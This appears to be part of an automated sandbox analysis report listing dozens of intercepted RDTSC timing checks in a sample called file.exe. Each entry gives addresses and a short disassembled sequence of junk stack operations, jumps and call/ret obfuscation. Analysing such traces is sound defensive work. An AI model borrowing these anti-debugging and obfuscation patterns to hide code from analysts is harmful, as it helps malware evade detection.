Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1E7A05 second address: 1E7A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F80A144E1DEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1E7A19 second address: 1E7A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C34E1 second address: 2C3500 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C3500 second address: 2C3508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D2F15 second address: 2D2F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D2F1B second address: 2D2F27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D2F27 second address: 2D2F2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D2F2B second address: 2D2F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jo 00007F80A1521206h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D2F3C second address: 2D2F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D2F44 second address: 2D2F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D2F53 second address: 2D2F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D31E4 second address: 2D31EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D31EE second address: 2D31F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D31F2 second address: 2D3213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521215h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F80A1521212h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D3213 second address: 2D3219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D777B second address: 2D7794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F80A1521206h 0x0000000a jmp 00007F80A152120Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D7794 second address: 2D7798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D7798 second address: 2D779E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D779E second address: 2D77AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DA9DD second address: 2DA9E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DC0ED second address: 2DC107 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F80A144E1DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F80A144E1D6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DC107 second address: 2DC10B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DE6F9 second address: 2DE704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DE704 second address: 2DE71C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F80A152120Dh 0x00000008 jnl 00007F80A1521206h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DE71C second address: 2DE722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DE598 second address: 2DE5B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521217h 0x00000007 jc 00007F80A1521212h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E1D3D second address: 2E1D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E1D43 second address: 2E1D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E1D49 second address: 2E1D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F80A144E1E0h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F15CF second address: 2F15D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F145B second address: 2F1463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FE68A second address: 2FE6D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F80A1521206h 0x0000000c popad 0x0000000d jns 00007F80A152120Ah 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007F80A1521214h 0x0000001a jnl 00007F80A152120Ah 0x00000020 jp 00007F80A152120Eh 0x00000026 jno 00007F80A1521206h 0x0000002c pushad 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 jnp 00007F80A1521206h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FE6D7 second address: 2FE6DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FE201 second address: 2FE228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F80A1521206h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F80A1521219h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FE228 second address: 2FE22E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FE36A second address: 2FE372 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FE372 second address: 2FE38D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F80A144E1E4h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 318947 second address: 31895E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F80A152120Ah 0x0000000e pop edi 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31895E second address: 318984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 je 00007F80A144E1D8h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F80A144E1E5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 318984 second address: 318988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3177D7 second address: 317804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F80A144E1DFh 0x00000009 jmp 00007F80A144E1E9h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317966 second address: 31796A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317AE4 second address: 317AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317DFD second address: 317E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317E03 second address: 317E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317E08 second address: 317E2E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007F80A1521206h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F80A1521215h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31826A second address: 31828E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1DBh 0x00000007 jmp 00007F80A144E1E0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31828E second address: 318293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 318293 second address: 31829A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 318691 second address: 318699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 318699 second address: 31869D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B58D second address: 31B591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B591 second address: 31B59B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B59B second address: 31B59F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B59F second address: 31B5A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B5A3 second address: 31B65F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F80A1521208h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 mov dx, 62B8h 0x00000026 and edx, 6284B307h 0x0000002c push 00000004h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007F80A1521208h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 mov edx, ecx 0x0000004a call 00007F80A1521210h 0x0000004f jnl 00007F80A152120Ch 0x00000055 pop edx 0x00000056 call 00007F80A1521209h 0x0000005b push edx 0x0000005c jno 00007F80A1521208h 0x00000062 pop edx 0x00000063 push eax 0x00000064 jmp 00007F80A1521219h 0x00000069 mov eax, dword ptr [esp+04h] 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 jmp 00007F80A1521212h 0x00000075 jne 00007F80A1521206h 0x0000007b popad 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B65F second address: 31B664 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B664 second address: 31B66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B66A second address: 31B67C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ebx 0x0000000a jp 00007F80A144E1DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B67C second address: 31B69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F80A1521212h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B9B9 second address: 31B9BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B9BD second address: 31B9CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B9CB second address: 31B9D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B9D0 second address: 31B9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31E912 second address: 31E928 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31E928 second address: 31E935 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F80A1521208h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31E506 second address: 31E50A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0F42 second address: 4ED0F48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0F48 second address: 4ED0F5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F80A144E1E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0F5E second address: 4ED0FB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e call 00007F80A152120Bh 0x00000013 pop esi 0x00000014 pop edi 0x00000015 pushfd 0x00000016 jmp 00007F80A1521216h 0x0000001b xor esi, 00E2BC08h 0x00000021 jmp 00007F80A152120Bh 0x00000026 popfd 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov al, bl 0x0000002f mov ebx, ecx 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0DC9 second address: 4EC0E37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bl, 52h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov edx, ecx 0x0000000e jmp 00007F80A144E1E0h 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 call 00007F80A144E1E1h 0x0000001b pushfd 0x0000001c jmp 00007F80A144E1E0h 0x00000021 sub ax, D628h 0x00000026 jmp 00007F80A144E1DBh 0x0000002b popfd 0x0000002c pop eax 0x0000002d movsx edi, si 0x00000030 popad 0x00000031 xchg eax, ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 jmp 00007F80A144E1DDh 0x0000003a mov dx, ax 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10017 second address: 4F1001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1001B second address: 4F10021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10021 second address: 4F1006D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F80A152120Ah 0x00000009 adc eax, 2F1A6B88h 0x0000000f jmp 00007F80A152120Bh 0x00000014 popfd 0x00000015 mov si, D7FFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F80A1521212h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F80A152120Dh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1006D second address: 4F10073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10073 second address: 4F10079 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10079 second address: 4F1007D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1007D second address: 4F100F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F80A1521210h 0x00000010 xor cl, 00000078h 0x00000013 jmp 00007F80A152120Bh 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F80A1521218h 0x0000001f or ch, FFFFFFD8h 0x00000022 jmp 00007F80A152120Bh 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c mov cl, 4Ah 0x0000002e mov ax, bx 0x00000031 popad 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F80A1521215h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F100F3 second address: 4F10108 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA017D second address: 4EA0183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0183 second address: 4EA01C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+04h] 0x0000000e pushad 0x0000000f call 00007F80A144E1E4h 0x00000014 push eax 0x00000015 pop ebx 0x00000016 pop ecx 0x00000017 movsx edi, ax 0x0000001a popad 0x0000001b push dword ptr [ebp+0Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA01C4 second address: 4EA01C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA01C8 second address: 4EA01CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA01CC second address: 4EA01D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA01D2 second address: 4EA01D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0A7F second address: 4EC0A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0A84 second address: 4EC0B09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F80A144E1E0h 0x0000000f push eax 0x00000010 jmp 00007F80A144E1DBh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 push esi 0x00000018 call 00007F80A144E1DBh 0x0000001d pop esi 0x0000001e pop edi 0x0000001f mov edi, ecx 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov di, 7F30h 0x0000002b pushfd 0x0000002c jmp 00007F80A144E1E9h 0x00000031 xor si, 9EB6h 0x00000036 jmp 00007F80A144E1E1h 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0B09 second address: 4EC0B2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov edi, 459AF73Eh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F80A1521210h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0B2A second address: 4EC0B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
